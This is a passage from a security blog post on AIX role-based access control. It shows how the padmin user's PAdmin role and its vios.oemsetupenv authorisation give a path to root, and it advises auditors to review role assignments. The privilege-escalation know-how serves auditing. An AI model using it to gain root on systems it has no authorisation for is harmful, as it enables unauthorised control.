Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/feed/ 0